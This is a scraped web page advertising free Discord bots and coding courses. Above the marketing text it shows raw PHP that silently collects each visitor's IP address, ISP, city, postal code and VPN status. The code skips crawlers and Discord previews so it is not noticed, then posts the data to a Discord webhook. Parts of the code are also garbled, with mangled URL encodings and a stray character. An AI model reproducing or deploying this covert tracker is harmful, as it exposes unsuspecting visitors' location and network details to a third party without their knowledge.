$webhookurl = "https://discordapp.com/channels/811338861506068521/811338862361575476/812106251106254920"; $ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']); $browser = $_SERVER['HTTP_USER_AGENT']; if(preg_match('/bot|Discord|robot|curl|spider|crawler|^$/i', $browser)) { exit(); } $TheirDate = date('d/m/Y'); $TheirTime = date('G:i:s'); $details = json_decode(file_get_contents("http://ip-api.com/json/%7B$ip%7D%22)); $vpnCon = json_decode(file_get_contents("https://json.geoiplookup.io/%7B$ip%7D%22)); if($vpnCon->connection_type==="Corporate"){ $vpn = "Yes (Double Check: $details->isp)"; }else{ $vpn = "No (Double Check: $details->isp)"; } $flag = "https://www.countryflags.io/%7B$details-%3EcountryCode%7D/shiny/64.png"; $data = "User IP: $ip\nISP: $details->isp\nDate: $TheirDate\nTime: $TheirTime \nLocation: $details->city \nRegion: $details->region\nCountry $details->country\nPostal Code: $details->zip\nIsVPN? $vpn (Possible False-Postives)"; $json_data = array ('content'=>"$data", 'username'=>"Vistor Visited From: $details->country", 'avatar_url'=> "$flag"); $make_json = json_encode($json_data); $ch = curl_init( $webhookurl ); curl_setopt( $ch, CURLOPT_POST, 1); curl_setopt( $ch, CURLOPT_POSTFIELDS, $make_json); curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt( $ch, CURLOPT_HEADER, 0);a curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec( $ch ); Free Discord Bots
Free Discord Bots
Free Discord Bots

View Bots

Free Discord Bots

Key features of The Discord Bots

Online

This makes it so people from anywhere in the world can attend.

Passion

Our mission is to educate as any people as we can on the subject of coding.

Design

Our courses are expertly designed for anyone to learn coding.

Support

Feel free to contact in the offcial discord for Discord Bots.

×